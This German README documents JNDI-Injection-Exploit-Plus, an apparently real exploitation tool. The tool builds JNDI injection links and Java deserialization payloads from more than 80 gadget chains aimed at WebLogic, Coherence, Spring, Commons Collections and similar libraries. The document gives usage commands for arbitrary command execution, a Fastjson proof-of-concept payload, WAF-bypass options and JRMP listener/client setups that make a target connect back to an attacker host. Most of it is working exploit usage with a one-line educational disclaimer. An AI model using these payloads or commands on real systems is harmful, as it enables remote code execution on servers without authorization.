
Generiert funktionsfähige JNDI-Injektionslinks und Deserialisierungs-Payloads mit 80+ Gadgets, unterstützt RMI-, LDAP- und HTTP-Server für automatisierte Sicherheitstests.
JNDI-Injection-Exploit-Plus ist ein Werkzeug zum Generieren funktionsfähiger JNDI-Links und bietet Hintergrunddienste durch Starten von RMI-Server, LDAP-Server und HTTP-Server.
Mit diesem Tool können Sie JNDI-Links erhalten und diese Links in Ihren POC einfügen, um die Schwachstelle zu testen.
Zum Beispiel ist dies ein Fastjson-Schwachstellen-POC:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Wir können „rmi://127.0.0.1:1099/Object“ durch den von JNDI-Injection-Exploit-Plus generierten Link ersetzen, um die Schwachstelle zu testen.
Darüber hinaus können Sie JNDI-Injection-Exploit-Plus auch verwenden, um Base64/Hex-Typ-Payloads zu generieren, wie ysoserial
JNDI-Injection-Exploit ist ein großartiges Tool, dies ist die Plus-Version davon.
P.S. Mehr Gadgets (⬆️) als ysoserial, willkommen bei PRs! ^_^
Wie ysoserial.
Sie können die Deserialisierungs-Payloads mit Base64- oder HEX-Ausgabe generieren.
Einige Wrapper zum Kapseln von Deserialisierungsdaten.
| Wrapper | Beispiel-Schwachstellen |
|---|---|
| Xstream | CVE-2021-39149 |
| Apereo | Apereo 4.1 Deserialisierung RCE |
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

Versteckt den Klassennamen, um WAF zu umgehen.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
Referenz: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}&output={base64/hex}
P.S. Die Parameter wrapper & output sind optional.

Ausführen als
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
wobei:
-C - Befehl, der in der entfernten Klassendatei ausgeführt wird.
(optional, Standardbefehl ist „open /Applications/Calculator.app“)
-A - die Adresse Ihres Servers, möglicherweise eine IP-Adresse oder eine Domain.
(optional, Standardadresse ist die erste Netzwerkschnittstellenadresse)
Hinweise:
Stellen Sie sicher, dass die Ports Ihres Servers (1099, 1389, 8180) verfügbar sind.
oder Sie können den Standardport in der run.ServerStart-Klasse ändern.
Ihr Befehl wird als Parameter an Runtime.getRuntime().exec() übergeben,
daher müssen Sie sicherstellen, dass Ihr Befehl in der Methode exec() funktioniert.
Befehle in Bash wie „bash -c ....“ müssen in doppelten Anführungszeichen stehen.
Ausführen als
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
wobei:
-C - Befehl, der in der entfernten Klassendatei ausgeführt wird.
(optional, Standardbefehl ist „open /Applications/Calculator.app“)
-D - Der Name des Deserialisierungs-Gadget-Payloads.
-O - (Optional) Der Ausgabetyp der Deserialisierung, Standard ist base64.
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
Lokale Demo:
Starten Sie das Tool wie folgt:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
Screenshot:

Nehmen wir an, wir injizieren die JNDI-Links wie rmi://ADDRESS/remoteExploit8, die in Schritt 1 generiert wurden, in eine angreifbare Anwendung, die durch JNDI-Injection angreifbar ist.
In diesem Beispiel sieht es so aus:
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
Wenn wir diesen Code ausführen, wird der Befehl ausgeführt
und das Log wird in der Shell ausgegeben:

Weitere Beispiele: Test-JNDI-Injection-Exploit-Plus
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
Base64-Ausgabeergebnis:

Wir können eine der beiden Methoden wählen, um das JAR zu erhalten.
Laden Sie das neueste JAR von Release herunter.
Klonen Sie den Quellcode lokal und bauen Sie ihn (erfordert Java 1.8+ und Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
P.S. ‼️ Wenn Sie einen Fehler wie „java.rmi.xxx existiert nicht“ erhalten, sollten Sie die Umgebungsvariable JAVA_HOME setzen.
Alle Informationen und Codes dienen ausschließlich zu Bildungszwecken und/oder zum Testen eigener Systeme auf diese Schwachstellen.
| Payload | Autor | Abhängigkeiten |
|---|
| Tomcat 8+ or SpringBoot | @welk1n | trustURLCodebase ist false, aber Tomcat 8+ oder SpringBoot 1.2.x+ im Klassenpfad |
| Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase ist false, aber Tomcat und Groovy im Klassenpfad |
| Groovy (GroovyShell) | @cckuailong | trustURLCodebase ist false, aber Tomcat und Groovy im Klassenpfad |
| Websphere Readfile | @cckuailong | trustURLCodebase ist false, aber WebSphere v6-v9 im Klassenpfad |
| Payload | Autor | Abhängigkeiten |
|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| C3P0Tomcat | @yulegeyu | tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| Coherence1 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence2 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence3 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence4 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence5 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence6 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2 |
| CommonsBeanutils2 ⬆️ | @cckuailong | commons-beanutils:1.9.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections1_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections2_1 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections3_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections5_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections6_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_2 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_3 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| CommonsCollections7_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections8 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections9 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections10 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections11 ⬆️ | @cckuailong | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| Jackson ⬆️ | @y4er | com.fasterxml.jackson.core:jackson-databind:2.14.2 |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| JRMPClient1 | @mbechler | |
| JRMPClient2 ⬆️ | @cckuailong | |
| JRMPClient3 ⬆️ | @cckuailong | |
| JRMPClient4 ⬆️ | @cckuailong | |
| JRMPClient5 ⬆️ | @cckuailong | |
| JRMPClient6 ⬆️ | @cckuailong | |
| JRMPListener1 | @cckuailong | |
| JSON1 | @mbechler | json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME1 | @mbechler | rome:1.0 |
| ROME2 ⬆️ | @firebasky | rome:1.0 |
| Scala1 ⬆️ | @jarij | org.scala-lang:scala-library:2.13.x |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| Spring3 ⬆️ | @cckuailong | spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 |
| URLDNS | @gebl | nur JRE zur Schwachstellenerkennung |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Weblogic1 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic2 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic3 ⬆️ | @cckuailong | com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager |
| Weblogic4 ⬆️ | @cckuailong | weblogic.common.internal.WLObjectOutputStream |
| Weblogic5 ⬆️ | @cckuailong | weblogic:12.2.1.4, coherence |
| Weblogic6 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic7 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic8 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic9 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic10 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic11 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
| WildFly1 ⬆️ | @hugow | org.wildfly:wildfly-connector:26.0.1.Final |
| JbossRemoting | Jboss Remoting Port Deserialisierung |
| Gzip | Einige Yonyou-Schnittstellen verwenden Gzip |
| Dirty | Einfügen vieler schmutziger Daten, um WAF zu umgehen |